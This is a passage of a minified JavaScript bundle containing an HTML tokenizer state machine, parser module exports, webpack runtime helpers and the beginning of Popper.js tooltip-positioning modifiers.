ame\",t[t.AfterClosingTagName=7]=\"AfterClosingTagName\",t[t.BeforeAttributeName=8]=\"BeforeAttributeName\",t[t.InAttributeName=9]=\"InAttributeName\",t[t.AfterAttributeName=10]=\"AfterAttributeName\",t[t.BeforeAttributeValue=11]=\"BeforeAttributeValue\",t[t.InAttributeValueDq=12]=\"InAttributeValueDq\",t[t.InAttributeValueSq=13]=\"InAttributeValueSq\",t[t.InAttributeValueNq=14]=\"InAttributeValueNq\",t[t.BeforeDeclaration=15]=\"BeforeDeclaration\",t[t.InDeclaration=16]=\"InDeclaration\",t[t.InProcessingInstruction=17]=\"InProcessingInstruction\",t[t.BeforeComment=18]=\"BeforeComment\",t[t.CDATASequence=19]=\"CDATASequence\",t[t.InSpecialComment=20]=\"InSpecialComment\",t[t.InCommentLike=21]=\"InCommentLike\",t[t.BeforeSpecialS=22]=\"BeforeSpecialS\",t[t.BeforeSpecialT=23]=\"BeforeSpecialT\",t[t.SpecialStartSequence=24]=\"SpecialStartSequence\",t[t.InSpecialTag=25]=\"InSpecialTag\",t[t.InEntity=26]=\"InEntity\"}(o||(o={})),function(t){t[t.NoValue=0]=\"NoValue\",t[t.Unquoted=1]=\"Unquoted\",t[t.Single=2]=\"Single\",t[t.Double=3]=\"Double\"}(s||(e.QuoteType=s={}));const c={Cdata:new Uint8Array([67,68,65,84,65,91]),CdataEnd:new Uint8Array([93,93,62]),CommentEnd:new Uint8Array([45,45,62]),ScriptEnd:new Uint8Array([60,47,115,99,114,105,112,116]),StyleEnd:new Uint8Array([60,47,115,116,121,108,101]),TitleEnd:new Uint8Array([60,47,116,105,116,108,101]),TextareaEnd:new Uint8Array([60,47,116,101,120,116,97,114,101,97]),XmpEnd:new Uint8Array([60,47,120,109,112])};e.default=class{constructor({xmlMode:t=!1,decodeEntities:e=!0},r){this.cbs=r,this.state=o.Text,this.buffer=\"\",this.sectionStart=0,this.index=0,this.entityStart=0,this.baseState=o.Text,this.isSpecial=!1,this.running=!0,this.offset=0,this.currentSequence=void 0,this.sequenceIndex=0,this.xmlMode=t,this.decodeEntities=e,this.entityDecoder=new n.EntityDecoder(t?n.xmlDecodeTree:n.htmlDecodeTree,(t,e)=>this.emitCodePoint(t,e))}reset(){this.state=o.Text,this.buffer=\"\",this.sectionStart=0,this.index=0,this.baseState=o.Text,this.currentSequence=void 0,this.running=!0,this.offset=0}write(t){this.offset+=this.buffer.length,this.buffer=t,this.parse()}end(){this.running&&this.finish()}pause(){this.running=!1}resume(){this.running=!0,this.index<this.buffer.length+this.offset&&this.parse()}stateText(t){t===i.Lt||!this.decodeEntities&&this.fastForwardTo(i.Lt)?(this.index>this.sectionStart&&this.cbs.ontext(this.sectionStart,this.index),this.state=o.BeforeTagName,this.sectionStart=this.index):this.decodeEntities&&t===i.Amp&&this.startEntity()}stateSpecialStartSequence(t){const e=this.sequenceIndex===this.currentSequence.length;if(e?l(t):(32|t)===this.currentSequence[this.sequenceIndex]){if(!e)return void this.sequenceIndex++}else this.isSpecial=!1;this.sequenceIndex=0,this.state=o.InTagName,this.stateInTagName(t)}stateInSpecialTag(t){if(this.sequenceIndex===this.currentSequence.length){if(t===i.Gt||a(t)){const e=this.index-this.currentSequence.length;if(this.sectionStart<e){const t=this.index;this.index=e,this.cbs.ontext(this.sectionStart,e),this.index=t}return this.isSpecial=!1,this.sectionStart=e+2,void this.stateInClosingTagName(t)}this.sequenceIndex=0}(32|t)===this.currentSequence[this.sequenceIndex]?this.sequenceIndex+=1:0===this.sequenceIndex?this.currentSequence===c.TitleEnd?this.decodeEntities&&t===i.Amp&&this.startEntity():this.fastForwardTo(i.Lt)&&(this.sequenceIndex=1):this.sequenceIndex=Number(t===i.Lt)}stateCDATASequence(t){t===c.Cdata[this.sequenceIndex]?++this.sequenceIndex===c.Cdata.length&&(this.state=o.InCommentLike,this.currentSequence=c.CdataEnd,this.sequenceIndex=0,this.sectionStart=this.index+1):(this.sequenceIndex=0,this.state=o.InDeclaration,this.stateInDeclaration(t))}fastForwardTo(t){for(;++this.index<this.buffer.length+this.offset;)if(this.buffer.charCodeAt(this.index-this.offset)===t)return!0;return this.index=this.buffer.length+this.offset-1,!1}stateInCommentLike(t){t===this.currentSequence[this.sequenceIndex]?++this.sequenceIndex===this.currentSequence.length&&(this.currentSequence===c.CdataEnd?this.cbs.oncdata(this.sectionStart,this.index,2):this.cbs.oncomment(this.sectionStart,this.index,2),this.sequenceIndex=0,this.sectionStart=this.index+1,this.state=o.Text):0===this.sequenceIndex?this.fastForwardTo(this.currentSequence[0])&&(this.sequenceIndex=1):t!==this.currentSequence[this.sequenceIndex-1]&&(this.sequenceIndex=0)}isTagStartChar(t){return this.xmlMode?!l(t):function(t){return t>=i.LowerA&&t<=i.LowerZ||t>=i.UpperA&&t<=i.UpperZ}(t)}startSpecial(t,e){this.isSpecial=!0,this.currentSequence=t,this.sequenceIndex=e,this.state=o.SpecialStartSequence}stateBeforeTagName(t){if(t===i.ExclamationMark)this.state=o.BeforeDeclaration,this.sectionStart=this.index+1;else if(t===i.Questionmark)this.state=o.InProcessingInstruction,this.sectionStart=this.index+1;else if(this.isTagStartChar(t)){const e=32|t;this.sectionStart=this.index,this.xmlMode?this.state=o.InTagName:e===c.ScriptEnd[2]?this.state=o.BeforeSpecialS:e===c.TitleEnd[2]||e===c.XmpEnd[2]?this.state=o.BeforeSpecialT:this.state=o.InTagName}else t===i.Slash?this.state=o.BeforeClosingTagName:(this.state=o.Text,this.stateText(t))}stateInTagName(t){l(t)&&(this.cbs.onopentagname(this.sectionStart,this.index),this.sectionStart=-1,this.state=o.BeforeAttributeName,this.stateBeforeAttributeName(t))}stateBeforeClosingTagName(t){a(t)||(t===i.Gt?this.state=o.Text:(this.state=this.isTagStartChar(t)?o.InClosingTagName:o.InSpecialComment,this.sectionStart=this.index))}stateInClosingTagName(t){(t===i.Gt||a(t))&&(this.cbs.onclosetag(this.sectionStart,this.index),this.sectionStart=-1,this.state=o.AfterClosingTagName,this.stateAfterClosingTagName(t))}stateAfterClosingTagName(t){(t===i.Gt||this.fastForwardTo(i.Gt))&&(this.state=o.Text,this.sectionStart=this.index+1)}stateBeforeAttributeName(t){t===i.Gt?(this.cbs.onopentagend(this.index),this.isSpecial?(this.state=o.InSpecialTag,this.sequenceIndex=0):this.state=o.Text,this.sectionStart=this.index+1):t===i.Slash?this.state=o.InSelfClosingTag:a(t)||(this.state=o.InAttributeName,this.sectionStart=this.index)}stateInSelfClosingTag(t){t===i.Gt?(this.cbs.onselfclosingtag(this.index),this.state=o.Text,this.sectionStart=this.index+1,this.isSpecial=!1):a(t)||(this.state=o.BeforeAttributeName,this.stateBeforeAttributeName(t))}stateInAttributeName(t){(t===i.Eq||l(t))&&(this.cbs.onattribname(this.sectionStart,this.index),this.sectionStart=this.index,this.state=o.AfterAttributeName,this.stateAfterAttributeName(t))}stateAfterAttributeName(t){t===i.Eq?this.state=o.BeforeAttributeValue:t===i.Slash||t===i.Gt?(this.cbs.onattribend(s.NoValue,this.sectionStart),this.sectionStart=-1,this.state=o.BeforeAttributeName,this.stateBeforeAttributeName(t)):a(t)||(this.cbs.onattribend(s.NoValue,this.sectionStart),this.state=o.InAttributeName,this.sectionStart=this.index)}stateBeforeAttributeValue(t){t===i.DoubleQuote?(this.state=o.InAttributeValueDq,this.sectionStart=this.index+1):t===i.SingleQuote?(this.state=o.InAttributeValueSq,this.sectionStart=this.index+1):a(t)||(this.sectionStart=this.index,this.state=o.InAttributeValueNq,this.stateInAttributeValueNoQuotes(t))}handleInAttributeValue(t,e){t===e||!this.decodeEntities&&this.fastForwardTo(e)?(this.cbs.onattribdata(this.sectionStart,this.index),this.sectionStart=-1,this.cbs.onattribend(e===i.DoubleQuote?s.Double:s.Single,this.index+1),this.state=o.BeforeAttributeName):this.decodeEntities&&t===i.Amp&&this.startEntity()}stateInAttributeValueDoubleQuotes(t){this.handleInAttributeValue(t,i.DoubleQuote)}stateInAttributeValueSingleQuotes(t){this.handleInAttributeValue(t,i.SingleQuote)}stateInAttributeValueNoQuotes(t){a(t)||t===i.Gt?(this.cbs.onattribdata(this.sectionStart,this.index),this.sectionStart=-1,this.cbs.onattribend(s.Unquoted,this.index),this.state=o.BeforeAttributeName,this.stateBeforeAttributeName(t)):this.decodeEntities&&t===i.Amp&&this.startEntity()}stateBeforeDeclaration(t){t===i.OpeningSquareBracket?(this.state=o.CDATASequence,this.sequenceIndex=0):this.state=t===i.Dash?o.BeforeComment:o.InDeclaration}stateInDeclaration(t){(t===i.Gt||this.fastForwardTo(i.Gt))&&(this.cbs.ondeclaration(this.sectionStart,this.index),this.state=o.Text,this.sectionStart=this.index+1)}stateInProcessingInstruction(t){(t===i.Gt||this.fastForwardTo(i.Gt))&&(this.cbs.onprocessinginstruction(this.sectionStart,this.index),this.state=o.Text,this.sectionStart=this.index+1)}stateBeforeComment(t){t===i.Dash?(this.state=o.InCommentLike,this.currentSequence=c.CommentEnd,this.sequenceIndex=2,this.sectionStart=this.index+1):this.state=o.InDeclaration}stateInSpecialComment(t){(t===i.Gt||this.fastForwardTo(i.Gt))&&(this.cbs.oncomment(this.sectionStart,this.index,0),this.state=o.Text,this.sectionStart=this.index+1)}stateBeforeSpecialS(t){const e=32|t;e===c.ScriptEnd[3]?this.startSpecial(c.ScriptEnd,4):e===c.StyleEnd[3]?this.startSpecial(c.StyleEnd,4):(this.state=o.InTagName,this.stateInTagName(t))}stateBeforeSpecialT(t){switch(32|t){case c.TitleEnd[3]:this.startSpecial(c.TitleEnd,4);break;case c.TextareaEnd[3]:this.startSpecial(c.TextareaEnd,4);break;case c.XmpEnd[3]:this.startSpecial(c.XmpEnd,4);break;default:this.state=o.InTagName,this.stateInTagName(t)}}startEntity(){this.baseState=this.state,this.state=o.InEntity,this.entityStart=this.index,this.entityDecoder.startEntity(this.xmlMode?n.DecodingMode.Strict:this.baseState===o.Text||this.baseState===o.InSpecialTag?n.DecodingMode.Legacy:n.DecodingMode.Attribute)}stateInEntity(){const t=this.index-this.offset,e=this.entityDecoder.write(this.buffer,t);if(e>=0)this.state=this.baseState,0===e&&(this.index-=1);else{if(t<this.buffer.length&&this.buffer.charCodeAt(t)===i.Amp)return this.state=this.baseState,void(this.index-=1);this.index=this.offset+this.buffer.length-1}}cleanup(){this.running&&this.sectionStart!==this.index&&(this.state===o.Text||this.state===o.InSpecialTag&&0===this.sequenceIndex?(this.cbs.ontext(this.sectionStart,this.index),this.sectionStart=this.index):this.state!==o.InAttributeValueDq&&this.state!==o.InAttributeValueSq&&this.state!==o.InAttributeValueNq||(this.cbs.onattribdata(this.sectionStart,this.index),this.sectionStart=this.index))}shouldContinue(){return this.index<this.buffer.length+this.offset&&this.running}parse(){for(;this.shouldContinue();){const t=this.buffer.charCodeAt(this.index-this.offset);switch(this.state){case o.Text:this.stateText(t);break;case o.SpecialStartSequence:this.stateSpecialStartSequence(t);break;case o.InSpecialTag:this.stateInSpecialTag(t);break;case o.CDATASequence:this.stateCDATASequence(t);break;case o.InAttributeValueDq:this.stateInAttributeValueDoubleQuotes(t);break;case o.InAttributeName:this.stateInAttributeName(t);break;case o.InCommentLike:this.stateInCommentLike(t);break;case o.InSpecialComment:this.stateInSpecialComment(t);break;case o.BeforeAttributeName:this.stateBeforeAttributeName(t);break;case o.InTagName:this.stateInTagName(t);break;case o.InClosingTagName:this.stateInClosingTagName(t);break;case o.BeforeTagName:this.stateBeforeTagName(t);break;case o.AfterAttributeName:this.stateAfterAttributeName(t);break;case o.InAttributeValueSq:this.stateInAttributeValueSingleQuotes(t);break;case o.BeforeAttributeValue:this.stateBeforeAttributeValue(t);break;case o.BeforeClosingTagName:this.stateBeforeClosingTagName(t);break;case o.AfterClosingTagName:this.stateAfterClosingTagName(t);break;case o.BeforeSpecialS:this.stateBeforeSpecialS(t);break;case o.BeforeSpecialT:this.stateBeforeSpecialT(t);break;case o.InAttributeValueNq:this.stateInAttributeValueNoQuotes(t);break;case o.InSelfClosingTag:this.stateInSelfClosingTag(t);break;case o.InDeclaration:this.stateInDeclaration(t);break;case o.BeforeDeclaration:this.stateBeforeDeclaration(t);break;case o.BeforeComment:this.stateBeforeComment(t);break;case o.InProcessingInstruction:this.stateInProcessingInstruction(t);break;case o.InEntity:this.stateInEntity()}this.index++}this.cleanup()}finish(){this.state===o.InEntity&&(this.entityDecoder.end(),this.state=this.baseState),this.handleTrailingData(),this.cbs.onend()}handleTrailingData(){const t=this.buffer.length+this.offset;this.sectionStart>=t||(this.state===o.InCommentLike?this.currentSequence===c.CdataEnd?this.cbs.oncdata(this.sectionStart,t,0):this.cbs.oncomment(this.sectionStart,t,0):this.state===o.InTagName||this.state===o.BeforeAttributeName||this.state===o.BeforeAttributeValue||this.state===o.AfterAttributeName||this.state===o.InAttributeName||this.state===o.InAttributeValueSq||this.state===o.InAttributeValueDq||this.state===o.InAttributeValueNq||this.state===o.InClosingTagName||this.cbs.ontext(this.sectionStart,t))}emitCodePoint(t,e){this.baseState!==o.Text&&this.baseState!==o.InSpecialTag?(this.sectionStart<this.entityStart&&this.cbs.onattribdata(this.sectionStart,this.entityStart),this.sectionStart=this.entityStart+e,this.index=this.sectionStart-1,this.cbs.onattribentity(t)):(this.sectionStart<this.entityStart&&this.cbs.ontext(this.sectionStart,this.entityStart),this.sectionStart=this.entityStart+e,this.index=this.sectionStart-1,this.cbs.ontextentity(t,this.sectionStart))}}},8331(t,e,r){\"use strict\";var n,i=this&&this.__createBinding||(Object.create?function(t,e,r,n){void 0===n&&(n=r);var i=Object.getOwnPropertyDescriptor(e,r);i&&!(\"get\"in i?!e.__esModule:i.writable||i.configurable)||(i={enumerable:!0,get:function(){return e[r]}}),Object.defineProperty(t,n,i)}:function(t,e,r,n){void 0===n&&(n=r),t[n]=e[r]}),o=this&&this.__setModuleDefault||(Object.create?function(t,e){Object.defineProperty(t,\"default\",{enumerable:!0,value:e})}:function(t,e){t.default=e}),s=this&&this.__importStar||(n=function(t){return n=Object.getOwnPropertyNames||function(t){var e=[];for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[e.length]=r);return e},n(t)},function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r=n(t),s=0;s<r.length;s++)\"default\"!==r[s]&&i(e,t,r[s]);return o(e,t),e}),a=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,\"__esModule\",{value:!0}),e.DomUtils=e.getFeed=e.ElementType=e.QuoteType=e.Tokenizer=e.DefaultHandler=e.DomHandler=e.Parser=void 0,e.parseDocument=p,e.parseDOM=m,e.createDocumentStream=function(t,e,r){const n=new u.DomHandler(e=>t(e,n.root),e,r);return new l.Parser(n,e)},e.createDomStream=function(t,e,r){const n=new u.DomHandler(t,e,r);return new l.Parser(n,e)},e.parseFeed=function(t,e=b){return(0,g.getFeed)(m(t,e))};const l=r(292);var c=r(292);Object.defineProperty(e,\"Parser\",{enumerable:!0,get:function(){return c.Parser}});const u=r(4128);var d=r(4128);function p(t,e){const r=new u.DomHandler(void 0,e);return new l.Parser(r,e).end(t),r.root}function m(t,e){return p(t,e).children}Object.defineProperty(e,\"DomHandler\",{enumerable:!0,get:function(){return d.DomHandler}}),Object.defineProperty(e,\"DefaultHandler\",{enumerable:!0,get:function(){return d.DomHandler}});var h=r(1766);Object.defineProperty(e,\"Tokenizer\",{enumerable:!0,get:function(){return a(h).default}}),Object.defineProperty(e,\"QuoteType\",{enumerable:!0,get:function(){return h.QuoteType}}),e.ElementType=s(r(5413));const g=r(1941);var f=r(1941);Object.defineProperty(e,\"getFeed\",{enumerable:!0,get:function(){return f.getFeed}});const b={xmlMode:!0};e.DomUtils=s(r(1941))}},e={};function r(n){var i=e[n];if(void 0!==i)return i.exports;var o=e[n]={id:n,loaded:!1,exports:{}};return t[n].call(o.exports,o,o.exports,r),o.loaded=!0,o.exports}r.n=t=>{var e=t&&t.__esModule?()=>t.default:()=>t;return r.d(e,{a:e}),e},r.d=(t,e)=>{for(var n in e)r.o(e,n)&&!r.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:e[n]})},r.g=function(){if(\"object\"==typeof globalThis)return globalThis;try{return this||new Function(\"return this\")()}catch(t){if(\"object\"==typeof window)return window}}(),r.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r.r=t=>{\"undefined\"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:\"Module\"}),Object.defineProperty(t,\"__esModule\",{value:!0})},r.nmd=t=>(t.paths=[],t.children||(t.children=[]),t),r.nc=void 0,(()=>{\"use strict\";var t={};r.r(t),r.d(t,{afterMain:()=>R,afterRead:()=>M,afterWrite:()=>G,applyStyles:()=>q,arrow:()=>ht,auto:()=>_,basePlacements:()=>k,beforeMain:()=>j,beforeRead:()=>N,beforeWrite:()=>L,bottom:()=>v,clippingParents:()=>S,computeStyles:()=>At,createPopper:()=>qt,createPopperBase:()=>Jt,createPopperLite:()=>Zt,detectOverflow:()=>Ft,end:()=>I,eventListeners:()=>vt,flip:()=>Mt,hide:()=>Rt,left:()=>w,main:()=>P,modifierPhases:()=>W,offset:()=>Lt,placements:()=>T,popper:()=>D,popperGenerator:()=>Yt,popperOffsets:()=>Qt,preventOverflow:()=>Gt,read:()=>F,reference:()=>B,right:()=>x,start:()=>C,top:()=>y,variationPlacements:()=>O,viewport:()=>E,write:()=>Q});var e={};r.r(e),r.d(e,{bits:()=>Kh,bytes:()=>Hh,dictToString:()=>tg,exclamation:()=>Yh,leftPad:()=>Jh,limitTo:()=>qh,minSize:()=>Zh,nl2br:()=>Vh,number:()=>zh,timedelta:()=>$h,timemillis:()=>Xh});var n=r(5072),i=r.n(n),o=r(7825),s=r.n(o),a=r(7659),l=r.n(a),c=r(5056),u=r.n(c),d=r(540),p=r.n(d),m=r(1113),h=r.n(m),g=r(1392),f={};f.styleTagTransform=h(),f.setAttributes=u(),f.insert=l().bind(null,\"head\"),f.domAPI=s(),f.insertStyleElement=p();i()(g.A,f);g.A&&g.A.locals&&g.A.locals;var b=r(1304),A={};A.styleTagTransform=h(),A.setAttributes=u(),A.insert=l().bind(null,\"head\"),A.domAPI=s(),A.insertStyleElement=p();i()(b.A,A);b.A&&b.A.locals&&b.A.locals;var y=\"top\",v=\"bottom\",x=\"right\",w=\"left\",_=\"auto\",k=[y,v,x,w],C=\"start\",I=\"end\",S=\"clippingParents\",E=\"viewport\",D=\"popper\",B=\"reference\",O=k.reduce(function(t,e){return t.concat([e+\"-\"+C,e+\"-\"+I])},[]),T=[].concat(k,[_]).reduce(function(t,e){return t.concat([e,e+\"-\"+C,e+\"-\"+I])},[]),N=\"beforeRead\",F=\"read\",M=\"afterRead\",j=\"beforeMain\",P=\"main\",R=\"afterMain\",L=\"beforeWrite\",Q=\"write\",G=\"afterWrite\",W=[N,F,M,j,P,R,L,Q,G];function U(t){return t?(t.nodeName||\"\").toLowerCase():null}function K(t){if(null==t)return window;if(\"[object Window]\"!==t.toString()){var e=t.ownerDocument;return e&&e.defaultView||window}return t}function H(t){return t instanceof K(t).Element||t instanceof Element}function Y(t){return t instanceof K(t).HTMLElement||t instanceof HTMLElement}function J(t){return\"undefined\"!=typeof ShadowRoot&&(t instanceof K(t).ShadowRoot||t instanceof ShadowRoot)}const q={name:\"applyStyles\",enabled:!0,phase:\"write\",fn:function(t){var e=t.state;Object.keys(e.elements).forEach(function(t){var r=e.styles[t]||{},n=e.attributes[t]||{},i=e.elements[t];Y(i)&&U(i)&&(Object.assign(i.style,r),Object.keys(n).forEach(function(t){var e=n[t];!1===e?i.removeAttribute(t):i.setAttribute(t,!0===e?\"\":e)}))})},effect:function(t){var e=t.state,r={popper:{position:e.options.strategy,left:\"0\",top:\"0\",margin:\"0\"},arrow:{position:\"absolute\"},reference:{}};return Object.assign(e.elements.popper.style,r.popper),e.styles=r,e.elements.arrow&&Object.assign(e.elements.arrow.style,r.arrow),function(){Object.keys(e.elements).forEach(function(t){var n=e.elements[t],i=e.attributes[t]||{},o=Object.keys(e.styles.hasOwnProperty(t)?e.styles[t]:r[t]).reduce(function(t,e){return t[e]=\"\",t},{});Y(n)&&U(n)&&(Object.assign(n.style,o),Object.keys(i).forEach(function(t){n.removeAttribute(t)}))})}},requires:[\"computeStyles\"]};function Z(t){return t.split(\"-\")[0]}var V=Math.max,z=Math.min,X=Math.round;function $(){var t=navigator.userAgentData;return null!=t&&t.brands&&Array.isArray(t.brands)?t.brands.map(function(t){return t.brand+\"/\"+t.version}).join(\" \"):navigator.userAgent}function tt(){return!/^((?!chrome|android).)*safari/i.test($())}function et(t,e,r){void 0===e&&(e=!1),void 0===r&&(r=!1);var n=t.getBoundingClientRect(),i=1,o=1;e&&Y(t)&&(i=t.offsetWidth>0&&X(n.width)/t.offsetWidth||1,o=t.offsetHeight>0&&X(n.height)/t.offsetHeight||1);var s=(H(t)?K(t):window).visualViewport,a=!tt()&&r,l=(n.left+(a&&s?s.offsetLeft:0))/i,c=(n.top+(a&&s?s.offsetTop:0))/o,u=n.width/i,d=n.height/o;return{width:u,height:d,top:c,right:l+u,bottom:c+d,left:l,x:l,y:c}}function rt(t){var e=et(t),r=t.offsetWidth,n=t.offsetHeight;return Math.abs(e.width-r)<=1&&(r=e.width),Math.abs(e.height-n)<=1&&(n=e.height),{x:t.offsetLeft,y:t.offsetTop,width:r,height:n}}function nt(t,e){var r=e.getRootNode&&e.getRootNode();if(t.contains(e))return!0;if(r&&J(r)){var n=e;do{if(n&&t.isSameNode(n))return!0;n=n.parentNode||n.host}while(n)}return!1}function it(t){return K(t).getComputedStyle(t)}function ot(t){return[\"table\",\"td\",\"th\"].indexOf(U(t))>=0}function st(t){return((H(t)?t.ownerDocument:t.document)||window.document).documentElement}function at(t){return\"html\"===U(t)?t:t.assignedSlot||t.parentNode||(J(t)?t.host:null)||st(t)}function lt(t){return Y(t)&&\"fixed\"!==it(t).position?t.offsetParent:null}function ct(t){for(var e=K(t),r=lt(t);r&&ot(r)&&\"static\"===it(r).position;)r=lt(r);return r&&(\"html\"===U(r)||\"body\"===U(r)&&\"static\"===it(r).position)?e:r||function(t){var e=/firefox/i.test($());if(/Trident/i.test($())&&Y(t)&&\"fixed\"===it(t).position)return null;var r=at(t);for(J(r)&&(r=r.host);Y(r)&&[\"html\",\"body\"].indexOf(U(r))<0;){var n=it(r);if(\"none\"!==n.transform||\"none\"!==n.perspective||\"paint\"===n.contain||-1!==[\"transform\",\"perspective\"].indexOf(n.willChange)||e&&\"filter\"===n.willChange||e&&n.filter&&\"none\"!==n.filter)return r;r=r.parentNode}return null}(t)||e}function ut(t){return[\"top\",\"bottom\"].indexOf(t)>=0?\"x\":\"y\"}function dt(t,e,r){return V(t,z(e,r))}function pt(t){return Object.assign({},{top:0,right:0,bottom:0,left:0},t)}function mt(t,e){return e.reduce(function(e,r){return e[r]=t,e},{})}const ht={name:\"arrow\",enabled:!0,phase:\"main\",fn:function(t){var e,r=t.state,n=t.name,i=t.options,o=r.elements.arrow,s=r.modifiersData.popperOffsets,a=Z(r.placement),l=ut(a),c=[w,x].indexOf(a)>=0?\"height\":\"width\";if(o&&s){var u=function(t,e){return pt(\"number\"!=typeof(t=\"function\"==typeof t?t(Object.assign({},e.rects,{placement:e.placement})):t)?t:mt(t,k))}(i.padding,r),d=rt(o),p=\"y\"===l?y:w,m=\"y\"===l?v:x,h=r.rects.reference[c]+r.rects.reference[l]-s[l]-r.rects.popper[c],g=s[l]-r.rects.reference[l],f=ct(o),b=f?\"y\"===l?f.clientHeight||0:f.clientWidth||0:0,A=h/2-g/2,_=u[p],C=b-d[c]-u[m],I=b/2-d[c]/2+A,S=dt(_,I,C),E=l;r.modifiersData[n]=((e={})[E]=S,e.centerOffset=S-I,e)}},effect:function(t){var e=t.state,r=t.options.element,n=void 0===r?\"[data-popper-arrow]\":r;null!=n&&(\"string\"!=typeof n||(n=e.elements.popper.querySelector(n)))&&nt(e.elements.popper,n)&&(e.elements.arrow=n)},requires:[\"popperOffsets\"],requiresIfExists:[\"preventOverflow\"]};function gt(t){return t.split(\"-\")[1]}var ft={top:\"auto\",right:\"auto\",bottom:\"auto\",left:\"auto\"};function bt(t){var e,r=t.popper,n=t.popperRect,i=t.placement,o=t.variation,s=t.offsets,a=t.position,l=t.gpuAcceleration,c=t.adaptive,u=t.roundOffsets,d=t.isFixed,p=s.x,m=void 0===p?0:p,h=s.y,g=void 0===h?0:h,f=\"function\"==typeof u?u({x:m,y:g}):{x:m,y:g};m=f.x,g=f.y;var b=s.hasOwnProperty(\"x\"),A=s.hasOwnProperty(\"y\"),_=w,k=y,C=window;if(c){var S=ct(r),E=\"clientHeight\",D=\"clientWidth\";if(S===K(r)&&\"static\"!==it(S=st(r)).position&&\"absolute\"===a&&(E=\"scrollHeight\",D=\"scrollWidth\"),i===y||(i===w||i===x)&&o===I)k=v,g-=(d&&S===C&&C.visualViewport?C.visualViewport.height:S[E])-n.height,g*=l?1:-1;if(i===w||(i===y||i===v)&&o===I)_=x,m-=(d&&S===C&&C.visualViewport?C.visualViewport.width:S[D])-n.width,m*=l?1:-1}var B,O=Object.assign({position:a},c&&ft),T=!0===u?function(t,e){var r=t.x,n=t.y,i=e.devicePixelRatio||1;return{x:X(r*i)/i||0,y:X(n*i)/i||0}}({x:m,y:g},K(r)):{x:m,y:g};return m=T.x,g=T.y,l?Object.assign({},O,((B={})[k]=A?\"0\":\"\",B[_]=b?\"0\":\"\",B.transform=(C.devicePixelRatio||1)<=1?\"translate(\"+m+\"px, \"+g+\"px)\":\"translate3d(\"+m+\"px, \"+g+\"px, 0)\",B)):Object.assign({},O,((e={})[k]=A?g+\"px\":\"\",e[_]=b?m+\"px\":\"\",e.transform=\"\",e))}const At={name:\"computeStyles\",enabled:!0,phase:\"beforeWrite\",fn:function(t){var e=t.state,r=t.options,n=r.gpuAcceleration,i=void 0===n||n,o=r.adaptive,s=void 0===o||o,a=r.roundOffsets,l=void 0===a||a,c={placement:Z(e.placement),variation:gt(e.placement),popper:e.elements.popper,popperRect:e.rects.popper,gpuAcceleration:i,isFixed:\"fixed\"===e.options.strategy};null!=e.modifiersData.popperOffsets&&(e.styles.popper=Object.assign({},e.styles.popper,bt(Object.assign({},c,{offsets:e.modifiersData.popperOffsets,position:e.options.strategy,adaptive:s,roundOffsets:l})))),null!=e.modifiersData.arrow&&(e.styles.arrow=Object.assign({},e.styles.arrow,bt(Object.assign({},c,{offsets:e.modifiersData.arrow,position:\"absolute\",adaptive:!1,roundOffsets:l})))),e.attributes.popper=Object.assign({},e.attributes.popper,{\"data-popper-placement\":e.placement})},data:{}};var yt={passive:!0};const vt={name:\"eventListeners\",enabled:!0,phase:\"write\",fn:function(){},effect:function(t){var e=t.state,r=t.instance,n=t.options,i=n.scroll,o=void 0===i||i,s=n.resize,a=void 0===s||s,l=K(e.elements.popper),c=[].concat(e.scrollParents.reference,e.scrollParents.popper);return o&&c.forEach(function(t){t.addEventListener(\"scroll\",r.update,yt)}),a&&l.addEventListener(\"resize\",r.update,yt),function(){o&&c.forEach(function(t){t.removeEventListener(\"scroll\",r.update,yt)}),a&&l.removeEventListener(\"resize\",r.update,yt)}},data:{}};var xt={left:\"right\",right:\"left\",bottom:\"top\",top:\"bottom\"};function wt(t){return t.replace(/left|right|bottom|top/g,function(t){return xt[t]})}var _t={start:\"end\",end:\"start\"};function kt(t){return t.replace(/start|end/g,function(t){return _t[t]})}function Ct(t){var e=K(t);return{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function It(t){return et(st(t)).left+Ct(t).scrollLeft}function St(t){var e=it(t),r=e.overflow,n=e.overflowX,i=e.overflowY;return/auto|scroll|overlay|hidden/.test(r+i+n)}function Et(t){return[\"html\",\"body\",\"#document\"].indexOf(U(t))>=0?t.ownerDocument.body:Y(t)&&St(t)?t:Et(at(t))}function Dt(t,e){var r;void 0===e&&(e=[]);var n=Et(t),i=n===(null==(r=t.ownerDocument)?void 0:r.body),o=K(n),s=i?[o].concat(o.visualViewport||[],St(n)?n:[]):n,a=e.concat(s);return i?a:a.concat(Dt(at(s)))}function Bt(t){return Object.assign({},t,{left:t.x,top:t.y,right:t.x+t.width,bottom:t.y+t.height})}function Ot(t,e,r){return e===E?Bt(function(t,e){var r=K(t),n=st(t),i=r.visualViewport,o=n.clientWidth,s=n.clientHeight,a=0,l=0;if(i){o=i.width,s=i.height;var c=tt();(c||!c&&\"fixed\"===e)&&(a=i.offsetLeft,l=i.offsetTop)}return{width:o,height:s,x:a+It(t),y:l}}(t,r)):H(e)?function(t,e){var r=et(t,!1,\"fixed\"===e);return r.top=r.top+t.clientTop,r.left=r.left+t.clientLeft,r.bottom=r.top+t.clientHeight,r.right=r.left+t.clientWidth,r.width=t.clientWidth,r.height=t.clientHeight,r.x=r.left,r.y=r.top,r}(e,r):Bt(function(t){var e,r=st(t),n=Ct(t),i=null==(e=t.ownerDocument)?void 0:e.body,o=V(r.scrollWidth,r.clientWidth,i?i.scrollWidth:0,i?i.clientWidth:0),s=V(r.scrollHeight,r.clientHeight,i?i.scrollHeight:0,i?i.clientHeight:0),a=-n.scrollLeft+It(t),l=-n.scrollTop;return\"rtl\"===it(i||r).direction&&(a+=V(r.clientWidth,i?i.clientWidth:0)-o),{width:o,height:s,x:a,y:l}}(st(t)))}function Tt(t,e,r,n){var i=\"clippingParents\"===e?function(t){var e=Dt(at(t)),r=[\"absolute\",\"fixed\"].indexOf(it(t).position)>=0&&Y(t)?ct(t):t;return H(r)?e.filter(function(t){return H(t)&&nt(t,r)&&\"body\"!==U(t)}):[]}(t):[].concat(e),o=[].concat(i,[r]),s=o[0],a=o.reduce(function(e,r){var i=Ot(t,r,n);return 